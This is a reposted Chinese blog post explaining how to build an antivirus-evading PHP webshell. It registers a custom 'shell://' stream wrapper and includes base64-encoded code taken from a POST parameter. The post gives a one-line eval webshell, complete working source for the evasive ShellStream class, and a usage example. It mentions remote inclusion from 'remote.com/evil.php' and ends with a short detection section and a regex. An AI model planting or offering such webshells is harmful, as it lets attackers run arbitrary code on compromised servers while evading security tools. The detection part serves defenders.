流包装器实现WebShell免杀
說明: 本文首發自 https://www.secpulse.com/archives/73391.html ,轉載請注明出處。
前言
本文是看PHP使用流包裝器實現WebShell有感,權當做個筆記。
很早的以前,我們就見過 php://input,這其實就是流包裝器的一種。php://input?是個可以訪問請求原始數據的只讀流。下面這行代碼就是通過php://input獲取post的數據,執行eval的一句話木馬。
<?php????@eval(file_get_contents('php://input'))
?>
include 函數,通常用于包含本地文件和遠程文件。如果可以遠程文件包含,則很容易構造免殺webshell。通過 include "htttp://remote.com/evil.php",把惡意代碼放到遠程機器上即可。但是,遠程文件包含依賴php.ini的兩個配置
;;;;;;;;;;;;;;;;;;;?Fopen?wrappers?;
;;;;;;;;;;;;;;;;;;
;?Whether?to?allow?the?treatment?of?URLs?(like?http://?or?ftp://)?as?files.
;?http://php.net/allow-url-fopen
allow_url_fopen?=Off
;?Whether?to?allow?include/require?to?open?URLs?(like?http://?or?ftp://)?as?files.
;?http://php.net/allow-url-include
allow_url_include?=?Off
通常情況下,這兩個配置會被關閉,所以遠程包含就用不了。那如果 " include 流 " 這種方式能否實現呢?
答案是肯定的,這個流我們可以通過PHP函數 stream_wrapper_register 注冊包裝器來實現。那為什么不使用php://input流來實現呢,要自己構造一個流函數。原因有二:
1、php://input流需要file_get_contents來獲取,容易被查殺
2、http://php.net/manual/zh/wrappers.php.php?這里有說明,php://input 受到 allow_url_fopen 的限制
?
編寫
注冊包裝器的函數參考?http://php.net/manual/en/class.streamwrapper.php,
編寫實例參考http://www.cnblogs.com/jingjingdidunhe/p/6346884.html。
<?phpclass?ShellStream
{
????protected?$position;
????protected?$code;
????public?function?stream_open($path,?$mode,?$options,?&$opened_path)
????{
????????$url?=?parse_url($path);
????????$name?=?$url["host"];
????????$this->code?=?base64_decode($name);
????????$this->position?=?0;
????????return?true;
????}
????public?function?stream_read($count)
????{
????????$ret?=?substr($this->code,?$this->position,?$count);
????????$this->position?+=?strlen($ret);
????????return?$ret;
????}
????public?function?stream_tell()
????{
????????return?$this->position;
????}
????public?function?stream_eof()
????{
????????return?$this->position?>=?strlen($this->code);
????}
????public?function?stream_seek($offset,?$whence)
????{
????????switch?($whence)?{
????????????case?SEEK_SET:
????????????????if?($offset?<?strlen($this->code)?&&?$offset?>=?0)?{
????????????????????$this->position?=?$offset;
????????????????????return?true;
????????????????}?else?{
????????????????????return?false;
????????????????}
????????????????break;
????????????case?SEEK_CUR:
????????????????if?($offset?>=?0)?{
????????????????????$this->position?+=?$offset;
????????????????????return?true;
????????????????}?else?{
????????????????????return?false;
????????????????}
????????????????break;
????????????case?SEEK_END:
????????????????if?(strlen($this->code)?+?$offset?>=?0)?{
????????????????????$this->position?=?strlen($this->code)?+?$offset;
????????????????????return?true;
????????????????}?else?{
????????????????????return?false;
????????????????}
????????????????break;
????????????default:
????????????????return?false;
????????}
????}
????//?include
????public?function?stream_stat()
????{
????????return?stat(FILE);
????}
????//?file?exists
????public?function?url_stat(string?$path,int?$stat)
????{
????????return?stat(FILE);
????}
????public?static?function?shell(){
????????stream_wrapper_register('shell',?ShellStream::class);
????????if?(isset($_POST['code']))?{
????????????$code?=?$_POST['code'];
????????????include?'shell://'.$code;
????????}?else?{
????????????include?'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
????????}
????}
}
ShellStream::shell();
?>
使用方法,傳入code參數。例如:
code=PD9waHAgcGhwaW5mbygpOw%3D%3D其中?PD9waHAgcGhwaW5mbygpOw%3D%3D 就是<?php phpinfo(); 的base64編碼。要想執行其他命令傳入完整php代碼的base64編碼即可
?
?
檢測
1、動態檢測:一般大型互聯網會有自主研發的入侵檢測系統,hook底層的命令,所以可以在webshell觸發命令后檢測到。
2、靜態檢測:大多數安全產品和應急響應使用的是靜態檢測,這邊一個思路是匹配對應的正則
(include|require)(_once){0,1}[\s*]+[\"|\']+[0-9A-Za-z_]*\://
已加入到筆者的webshell靜態檢測工具?findWebshell
?
參考
http://www.freebuf.com/articles/web/176571.html
http://www.cnblogs.com/jingjingdidunhe/p/6346884.html
轉載于:https://www.cnblogs.com/he1m4n6a/p/9279894.html
總結
以上是生活随笔為你收集整理的流包装器实现WebShell免杀的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【剑指offer】反转链表
- 下一篇: bzoj4059